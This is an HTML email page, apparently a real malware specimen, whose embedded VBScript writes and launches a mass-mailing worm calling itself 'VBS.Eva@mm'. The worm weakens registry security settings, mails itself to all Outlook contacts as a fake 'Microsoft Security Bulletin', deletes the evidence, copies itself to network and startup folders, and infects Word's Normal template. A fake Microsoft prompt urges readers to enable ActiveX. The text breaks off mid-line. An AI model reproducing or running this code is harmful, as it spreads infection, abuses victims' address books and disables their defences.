<HTML><HEAD><META CONTENT="text/html; charset=iso-8859-1" http-equiv=Content-Type><META CONTENT="MSHTML 5.00.2314.1000" NAME=GENERATOR><META CONTENT="AUTHOR" NAME=Kleiner Stern><STYLE></STYLE></HEAD><BODY bgColor=#ffffff><SCRIPT LANGUAGE=VBScript>
On Error Resume Next
Dim DQHQEIB : Set DQHQEIB = CreateObject("Scripting.FileSystemObject")
If Err.Number <> 0 Then
 Document.Write "<font face='verdana' color=#ff0000 size='2'>You need ActiveX enabled if you want to see this e-mail.<br>Please open this message again and click accept ActiveX<br>Microsoft</font>"
Else

Dim VBSFile : Set VBSFile = DQHQEIB.CreateTextFile(DQHQEIB.GetSpecialFolder(0) & "\DYIDZFL.xls.vbs",True)
    VBSFile.Write  "" & vbcrlf & "" & vbcrlf & "''VBS.Eva@mm" & vbcrlf & "" & vbcrlf & "Const IBDLNGE = 1" & vbcrlf & "Const QFPBPVF = 2" & vbcrlf & "'iJDdfQXmvjTOONSC" & vbcrlf & "Const HMGFINT = 8" & vbcrlf & "" & vbcrlf & "Dim JEMRAND : Set JEMRAND = CreateObject("&chr(34)&"WScript.Shell"&chr(34)&")" & vbcrlf & "Dim DQHQEIB : Set DQHQEIB = CreateObject("&chr(34)&"Scripting.FileSystemObject"&chr(34)&")" & vbcrlf & "'RdXWhWs" & vbcrlf & "Dim Outlook : Set Outlook = CreateObject("&chr(34)&"Outlook.Application"&chr(34)&")" & vbcrlf & "Dim MCEPSRO, UQPEOJG, UEEGHBH, PRPQOQT, HTMLBody, DQOPHKQ, PRGIEJA, HCSTOMK" & vbcrlf & "" & vbcrlf & "    MCEPSRO = DQHQEIB.GetSpecialFolder(0) &"&chr(34)&"\"&chr(34)&"" & vbcrlf & "'ByeXodZiubbTTrB" & vbcrlf & "    UQPEOJG = DQHQEIB.GetSpecialFolder(1) &"&chr(34)&"\"&chr(34)&"" & vbcrlf & "    UEEGHBH = DQHQEIB.GetSpecialFolder(2) &"&chr(34)&"\"&chr(34)&"" & vbcrlf & "    PRPQOQT = MCEPSRO &"&chr(34)&"SexSells.html"&chr(34)&"" & vbcrlf & "    DQOPHKQ = WScript.ScriptFullName" & vbcrlf & "'nKmObpcYmj" & vbcrlf & "    PRGIEJA = CreateFileName()" & vbcrlf & "" & vbcrlf & "   Call RegistrySettings()" & vbcrlf & "	Call CreateFiles(PRGIEJA)" & vbcrlf & "'qDJFSef" & vbcrlf & "    Call DeleteOutlookFolders()" & vbcrlf & "	Call SpreadViaOutlook()" & vbcrlf & "    Call SpreadViaNetwork()" & vbcrlf & "	Call SpreadViaWord()" & vbcrlf & "'GQkVv" & vbcrlf & "   Call SpreadViaDrives()" & vbcrlf & "	Call Payload()" & vbcrlf & "   Call Antidelete(PRGIEJA)" & vbcrlf & "" & vbcrlf & "'ryURupqot" & vbcrlf & "" & vbcrlf & "Sub RegistrySettings()" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim FileExt, Counter" & vbcrlf & "'dLjZkoriLkTCwjHvlCN" & vbcrlf & "    FileExt = Array("&chr(34)&".JS\"&chr(34)&", "&chr(34)&".DOC\"&chr(34)&", "&chr(34)&".GIF\"&chr(34)&", "&chr(34)&".JPG\"&chr(34)&", "&chr(34)&".HLP\"&chr(34)&", "&chr(34)&".BMP\"&chr(34)&", "&chr(34)&".AVI\"&chr(34)&", "&chr(34)&".MPG\"&chr(34)&", "&chr(34)&".SHS\"&chr(34)&", "&chr(34)&".MP3\"&chr(34)&")" & vbcrlf & "" & vbcrlf & " 	For Counter = 0 To UBound(FileExt)" & vbcrlf & "  	 RegSet "&chr(34)&"HKCR\"&chr(34)&" &FileExt(Counter),"&chr(34)&"Eva"&chr(34)&","&chr(34)&"0"&chr(34)&"" & vbcrlf & "'tfWtTbqpaeIurkFCtVXehxWYcnh" & vbcrlf & " 	Next" & vbcrlf & "" & vbcrlf & " 	RegSet "&chr(34)&"HKCR\VBSFile\Editflags"&chr(34)&", 01000100, "&chr(34)&"1"&chr(34)&" " & vbcrlf & "	RegSet "&chr(34)&"HKCU\Software\Microsoft\Office\9.0\Word\Security\Level"&chr(34)&", 1, "&chr(34)&"1"&chr(34)&"" & vbcrlf & "'uRgaUxIJHM" & vbcrlf & "    RegSet "&chr(34)&"HKCR\Eva\shell\open\command\"&chr(34)&", "&chr(34)&"wscript "&chr(34)&" &MCEPSRO &PRGIEJA &"&chr(34)&" %"&chr(34)&", "&chr(34)&"0"&chr(34)&"" & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows Script Host\Settings\Remote"&chr(34)&", 1, "&chr(34)&"1"&chr(34)&"" & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows Script Host\Settings\Timeout"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & "  	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows Script Host\Settings\Enabled"&chr(34)&", 1, "&chr(34)&"1"&chr(34)&"" & vbcrlf & "'nvmlDHKBnfUzDZyEUwMxiMfeJoIs" & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows Script Host\Settings\TrustPolicy"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & "	RegSet "&chr(34)&"HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner"&chr(34)&", "&chr(34)&"VBS.Eva@mm"&chr(34)&", "&chr(34)&"0"&chr(34)&"" & vbcrlf & "    RegSet "&chr(34)&"HKLM\Hardware\Description\System\CentralProcessor\0\VendorIdentifier"&chr(34)&","&chr(34)&"VBS.Eva@mm"&chr(34)&","&chr(34)&"0"&chr(34)&" " & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & "'wKDXUnMhhARifGAacNdjsgQZyGOpF" & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & "'VZTFW" & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1204"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & " 	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1201"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & "	RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1004"&chr(34)&", 0, "&chr(34)&"1"&chr(34)&"" & vbcrlf & "'vbeBagvrn" & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "Sub DeleteOutlookFolders()" & vbcrlf & "On Error Resume Next" & vbcrlf & "'QoxMlHjLCl" & vbcrlf & "Dim i" & vbcrlf & "Dim Mapi : Set Mapi = Outlook.GetNameSpace("&chr(34)&"MAPI"&chr(34)&")" & vbcrlf & "Dim InBox : Set InBox = Mapi.GetDefaultFolder(6)" & vbcrlf & "Dim DLJGRFL : Set DLJGRFL = Mapi.GetDefaultFolder(3)" & vbcrlf & "'ygGnzGCPbsBDNhbJLovR" & vbcrlf & "" & vbcrlf & " 	 If Outlook = "&chr(34)&"Outlook"&chr(34)&" Then" & vbcrlf & "      For i = 1 to InBox.Items.Count" & vbcrlf & "       If InBox.Items.Item(i).Subject = "&chr(34)&"Fw: Microsoft Security Bulletin"&chr(34)&" Then" & vbcrlf & "'PrmnlqahpIgfxlo" & vbcrlf & "          InBox.Items.Item(i).Close" & vbcrlf & "          InBox.Items.Item(i).Delete" & vbcrlf & "       End If" & vbcrlf & "      Next" & vbcrlf & "'IiQOthEtiyKqqccHQEZCq" & vbcrlf & "   " & vbcrlf & "      For i = 1 to DLJGRFL.Items.Count" & vbcrlf & "       If DLJGRFL.Items.Item(i).Subject = "&chr(34)&"Fw: Microsoft Security Bulletin"&chr(34)&" Then" & vbcrlf & "          DLJGRFL.Items.Item(i).Delete" & vbcrlf & "'rohCy" & vbcrlf & "       End If" & vbcrlf & "      Next" & vbcrlf & "	 End If" & vbcrlf & "	 " & vbcrlf & "'VbhdqKLceoPtmWsCqZUVTY" & vbcrlf & "	Set Mapi = Nothing" & vbcrlf & "	Set InBox = Nothing" & vbcrlf & "	Set DLJGRFL = Nothing	 " & vbcrlf & "End Sub" & vbcrlf & "'AIkOxQU" & vbcrlf & "" & vbcrlf & "Sub SpreadViaOutlook()" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim Address, NumOfContacts, Counter" & vbcrlf & "'OjQraPfRalYYKu" & vbcrlf & "  " & vbcrlf & "    If Outlook = "&chr(34)&"Outlook"&chr(34)&" Then" & vbcrlf & "     Dim Mapi : Set Mapi = Outlook.GetNameSpace("&chr(34)&"MAPI"&chr(34)&")" & vbcrlf & "   	 Dim MapiAdList : Set MapiAdList = Mapi.AddressLists" & vbcrlf & "'rGWBUFJgZWPdaAY" & vbcrlf & "" & vbcrlf & "   	  For Each Address In MapiAdList" & vbcrlf & "       If Address.AddressEntries.Count <> 0 Then" & vbcrlf & "        NumOfContacts = Address.AddressEntries.Count" & vbcrlf & "'BvJNuwHSMnFZpLFtghflSDRQcgj" & vbcrlf & "   " & vbcrlf & "        For Counter = 1 To NumOfContacts" & vbcrlf & "         Dim ContactNumber : Set ContactNumber = Address.AddressEntries(Counter)" & vbcrlf & "         " & vbcrlf & "'CTKsbxdsEkNlKJiTgX" & vbcrlf & "    	 If RegGet("&chr(34)&"HKCU\Software\Eva\Addressbook\"&chr(34)&" &Counter) <> ContactNumber.Address then    " & vbcrlf & "          Dim EmailItem : Set EmailItem = Outlook.CreateItem(0)" & vbcrlf & "              EmailItem.To = ContactNumber.Address" & vbcrlf & "          	  EmailItem.Subject = "&chr(34)&"Fw: Microsoft Security Bulletin"&chr(34)&"" & vbcrlf & "'yibvsSkMDyMpNzKe" & vbcrlf & "          	  EmailItem.HTMLBody = HTMLBody" & vbcrlf & "   	      	  EmailItem.DeleteAfterSubmit = True " & vbcrlf & "          	  EmailItem.Send" & vbcrlf & "          RegSet "&chr(34)&"HKCU\Software\Eva\Addressbook\"&chr(34)&" &Counter,ContactNumber.Address,"&chr(34)&"0"&chr(34)&"" & vbcrlf & "'GIlIOXMoyzGMfmulk" & vbcrlf & "         End If" & vbcrlf & "        Next" & vbcrlf & "       End If" & vbcrlf & "      Next" & vbcrlf & "'HKBn" & vbcrlf & "     End If" & vbcrlf & "    " & vbcrlf & "    Set Mapi = Nothing" & vbcrlf & "    Set EmailItem = Nothing" & vbcrlf & "'TyCYyETPvLhhMVdJIcwZ" & vbcrlf & "    Set MapiAdList = Nothing" & vbcrlf & "    Set ContactNumber = Nothing" & vbcrlf & "    Outlook.Quit " & vbcrlf & "End Sub" & vbcrlf & "'JCXELXZgzQYeFyacMTirgPKLJOxG" & vbcrlf & "" & vbcrlf & "Sub SpreadViaNetwork()" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim xc, SubNet" & vbcrlf & "'aEDVKNEGh" & vbcrlf & "Dim NetDrives : Set NetDrives = wsn.EnumNetworkDrives" & vbcrlf & "Dim Autostart" & vbcrlf & "	Autostart = RegGet("&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup"&chr(34)&") &"&chr(34)&"\"&chr(34)&"" & vbcrlf & "" & vbcrlf & "'RFRHfqPPnwLkGjKlUjfFm" & vbcrlf & "	If NetDrives.Count <> 0 Then" & vbcrlf & "  	 For xc = 0 To NetDrives.Count - 1" & vbcrlf & "   	  If InStr(NetDrives.Item(xc), "&chr(34)&"\"&chr(34)&" ) <> 0 Then" & vbcrlf & "       DQHQEIB.CopyFile DQOPHKQ, DQHQEIB.BuildPath(NetDrives.Item(xc), Autostart &FName) " & vbcrlf & "'GBObcACMgRsKovROrlmkqYIfVhlofH" & vbcrlf & "   	  End If" & vbcrlf & "  	 Next" & vbcrlf & " 	End If" & vbcrlf & "" & vbcrlf & "'QxsgDsixJppbSqPnZmbEq" & vbcrlf & " 	For xc = 1 To 10 " & vbcrlf & "  	 wsn.MapNetworkDrive "&chr(34)&"Z:"&chr(34)&", GetIPAddress()" & vbcrlf & "     DQHQEIB.CopyFile WScript.ScriptFullName, DQHQEIB.BuildPath("&chr(34)&"Z:"&chr(34)&", Autostart &FName) " & vbcrlf & "     wsn.RemoveNetworkDrive "&chr(34)&"Z:"&chr(34)&"" & vbcrlf & "'hCxXpRYTaeuSUjdLqOdRuEFD" & vbcrlf & "    Next " & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "Sub SpreadViaWord()" & vbcrlf & "'rkrihzE" & vbcrlf & "Dim WordAppl : Set WordAppl = CreateObject("&chr(34)&"Word.Application"&chr(34)&")" & vbcrlf & "Dim Template : Set Template = WordAppl.NormalTemplate.OpenAsDocument" & vbcrlf & "" & vbcrlf & "	NormalTemplate = "&chr(34)&"'VBS.Eva@mm"&chr(34)&"" & vbcrlf & "'xZkcQv" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"Private Sub Document_Open()"&chr(34)&"" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"On Error Resume Next"&chr(34)&"" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" CommandBars("&chr(34)&" &Chr(34) &"&chr(34)&"Macro"&chr(34)&" &Chr(34) &"&chr(34)&").Controls("&chr(34)&" &Chr(34) &"&chr(34)&"Security..."&chr(34)&" &Chr(34) &"&chr(34)&").Enabled = False"&chr(34)&"" & vbcrlf & "'VvBQsIteJbaGlFotWtGzUQjIdWdwNe" & vbcrlf & " 	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" Options.VirusProtection = False"&chr(34)&"" & vbcrlf & " 	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" Options.SaveNormalPrompt = False"&chr(34)&"" & vbcrlf & " 	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" Options.ConfirmConversions = False"&chr(34)&"" & vbcrlf & " 	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" Options.SavePropertiesPrompt = False"&chr(34)&"" & vbcrlf & "'bCwKagodNWXVuD" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" Dim Address, NumOfContacts, Counter, EmailItem, ContactNumber"&chr(34)&"" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" Dim Outlook : Set Outlook = CreateObject("&chr(34)&" &Chr(34) &"&chr(34)&"Outlook.Application"&chr(34)&" &Chr(34) &"&chr(34)&")"&chr(34)&"" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  If Outlook = "&chr(34)&" &Chr(34) &"&chr(34)&"Outlook"&chr(34)&" &Chr(34) &"&chr(34)&" Then"&chr(34)&"" & vbcrlf & "'mBASWZQl" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   If System.PrivateProfileString("&chr(34)&" &Chr(34)&Chr(34) &"&chr(34)&","&chr(34)&" &Chr(34) &"&chr(34)&"HKCU\Software\Eva\Macro"&chr(34)&" &Chr(34) &"&chr(34)&","&chr(34)&" &Chr(34)&Chr(34) &"&chr(34)&") <> "&chr(34)&" &Chr(34) &"&chr(34)&"oui"&chr(34)&" &Chr(34) &"&chr(34)&" Then"&chr(34)&"" & vbcrlf & "  	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"    Dim Mapi : Set Mapi = Outlook.GetNameSpace("&chr(34)&" &Chr(34) &"&chr(34)&"MAPI"&chr(34)&" &Chr(34) &"&chr(34)&")"&chr(34)&"" & vbcrlf & "  	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"    Dim MapiAdList : Set MapiAdList = Mapi.AddressLists"&chr(34)&"" & vbcrlf & "  	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"     For Each Address In MapiAdList"&chr(34)&"" & vbcrlf & "'KraxcrnjMMkt" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"      If Not Address.AddressEntries.Count = 0 Then"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"       NumOfContacts = Address.AddressEntries.Count"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"        For Counter = 1 To NumOfContacts"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"         Set ContactNumber = Address.AddressEntries(Counter)"&chr(34)&"" & vbcrlf & "'hEgHxhb" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"         Set EmailItem = Outlook.CreateItem(0)"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"             EmailItem.To = ContactNumber.Address"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"             EmailItem.Subject = "&chr(34)&" &Chr(34) &"&chr(34)&"Some News"&chr(34)&" &Chr(34)" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"             EmailItem.HTMLBody = "&chr(34)&" &HTMLBody" & vbcrlf & "'cCjvDxLoxyJdFHlsOXLoijhnemFc" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"             EmailItem.Attachments.Add ActiveDocument.FullName"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"             EmailItem.DeleteAfterSubmit = True"&chr(34)&" " & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"             EmailItem.Send"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"        Next"&chr(34)&"" & vbcrlf & "'tilcEeNKqdBpfuGnmDM" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"        System.PrivateProfileString("&chr(34)&" &Chr(34)&Chr(34) &"&chr(34)&","&chr(34)&" &Chr(34) &"&chr(34)&"HKCU\Software\Eva\"&chr(34)&" &Chr(34) &"&chr(34)&","&chr(34)&" &Chr(34) &"&chr(34)&"Macro"&chr(34)&" &Chr(34) &"&chr(34)&") = "&chr(34)&" &Chr(34) &"&chr(34)&"oui"&chr(34)&" &Chr(34) " & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"       End If"&chr(34)&"" & vbcrlf & "  	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"      Next"&chr(34)&"" & vbcrlf & "  	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & "'AWyZnBnkeyuUDOV" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"Dim ADocument : Set ADocument = ActiveDocument.VBProject.VBComponents.Item(1)"&chr(34)&"" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"Dim NTemplate : Set NTemplate = NormalTemplate.VBProject.VBComponents.Item(1)"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"    NTemplateLines = NTemplate.CodeModule.CountOfLines"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"    ADocumentLines = ADocument.CodeModule.CountOfLines"&chr(34)&"" & vbcrlf & "'qrQRvqXiTpy" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"    BGN = 2"&chr(34)&"" & vbcrlf & " 	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&" " & vbcrlf & "  	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" If ADocument.Name <> "&chr(34)&" &Chr(34) &"&chr(34)&"'VBS.Eva@mm"&chr(34)&" &Chr(34) &"&chr(34)&" Then"&chr(34)&"" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  If ADocumentLines > 0 Then"&chr(34)&"" & vbcrlf & "'WRRPVEwFgKtMQTKfMoYLcXNi" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   ADocument.CodeModule.DeleteLines 1, ADocumentLines"&chr(34)&"" & vbcrlf & "  	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   Set ToInfect = ADocument"&chr(34)&"" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   ADocument.Name = "&chr(34)&" &Chr(34) &"&chr(34)&"'VBS.Eva@mm"&chr(34)&" &Chr(34)" & vbcrlf & "  	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   DoADocument = True"&chr(34)&"" & vbcrlf & "'UGqVoCSxRBGcV" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" End If"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" If NTemplate.Name <> "&chr(34)&" &Chr(34) &"&chr(34)&"'VBS.Eva@mm"&chr(34)&" &Chr(34) &"&chr(34)&" Then"&chr(34)&"" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  If NTemplateLines > 0 Then"&chr(34)&"" & vbcrlf & "'MawVpwsFJZrs" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   NTemplate.CodeModule.DeleteLines 1, NTemplateLines"&chr(34)&"" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   Set ToInfect = NTemplate"&chr(34)&"" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   NTemplate.Name = "&chr(34)&" &Chr(34) &"&chr(34)&"'VBS.Eva@mm"&chr(34)&" &Chr(34)" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   DoNTemplate = True"&chr(34)&"" & vbcrlf & "'IDduQgCvjTbQJRsHGYWrJBiUXoUZi" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" End If"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" If DoNT <> True And DoAD <> True Then GoTo JEnd"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"	     " & vbcrlf & "'RaSDbByKNSoSYmiIaCtoCVfEpAV" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" If DoNTemplate = True Then"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  Do While ADocument.CodeModule.Lines(1,1) = "&chr(34)&" &Chr(34) &Chr(34)" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   ADocument.CodeModule.DeleteLines 1"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  Loop"&chr(34)&"" & vbcrlf & "'xcyFOCfppntTdLZYkoriKTBhjHgl" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  ToInfect.CodeModule.AddFromString ("&chr(34)&" &Chr(34) &"&chr(34)&"Private Sub Document_Close()"&chr(34)&" &Chr(34) &"&chr(34)&")"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  Do While ADocument.CodeModule.Lines(BGN,1) <> "&chr(34)&" &Chr(34) &Chr(34)" & vbcrlf & "'wdsV" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   NTemplate.CodeModule.InsertLines BGN, ADocument.CodeModule.Lines(BGN,1)"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   BGN = BGN + 1"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  Loop"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" End If"&chr(34)&"" & vbcrlf & "'JTaGFtWtHzUCJUXdwNWX" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" If DoADocument = True Then"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  Do While NTemplate.CodeModule.Lines(1, 1) = "&chr(34)&" &Chr(34) &Chr(34)" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   NTemplate.CodeModule.DeleteLines 1"&chr(34)&"" & vbcrlf & "'CwKRgpdNIIGMuDLBASH" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  Loop"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & "   	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  ToInfect.CodeModule.AddFromString ("&chr(34)&" &Chr(34) &"&chr(34)&"Private Sub Document_Open()"&chr(34)&" &Chr(34) &"&chr(34)&")"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & "'BDfdPCZO" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  Do While NTemplate.CodeModule.Lines(BGN,1) <> "&chr(34)&" &Chr(34) &Chr(34)" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   ToInfect.CodeModule.InsertLines BGN, NTemplate.CodeModule.Lines(BGN,1)"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"   BGN = BGN + 1"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"  Loop"&chr(34)&"" & vbcrlf & "'coMNkuJhEgIi" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" End If"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&""&chr(34)&"" & vbcrlf & " 	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"JEnd:"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"If NTemplateLines <> 0 And ADocumentLines = 0 And (InStr(1, ActiveDocument.Name, "&chr(34)&" &Chr(34) &"&chr(34)&"Document"&chr(34)&" &Chr(34) &"&chr(34)&") = False) Then"&chr(34)&"" & vbcrlf & "'ZSgdDkwDyMxyKePp" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" ActiveDocument.SaveAs FileName:=ActiveDocument.FullName"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"ElseIf (InStr(1, ActiveDocument.Name, "&chr(34)&" &Chr(34) &"&chr(34)&"Document"&chr(34)&" &Chr(34) &"&chr(34)&") <> False) Then"&chr(34)&"" & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&" ActiveDocument.Saved = True"&chr(34)&" " & vbcrlf & "    NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"End If"&chr(34)&"" & vbcrlf & "'lsOXLo" & vbcrlf & "	NormalTemplate = NormalTemplate & vbcrlf &"&chr(34)&"End Sub"&chr(34)&"" & vbcrlf & "" & vbcrlf & "    If Template.VBProject.VBComponents(1).Codemodule.Lines(1,1) <> "&chr(34)&"'VBS.Eva@mm"&chr(34)&" then" & vbcrlf & "       Template.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Template.VBProject.VBComponents(1).CodeModule.CountOfLines" & vbcrlf & "'jinVFcSeilcEeNvqdBpfuH" & vbcrlf & "	   Template.VBProject.VBComponents(1).CodeModule.AddFromString NormalTemplate" & vbcrlf & "	   Template.Save" & vbcrlf & "    End If " & vbcrlf & "" & 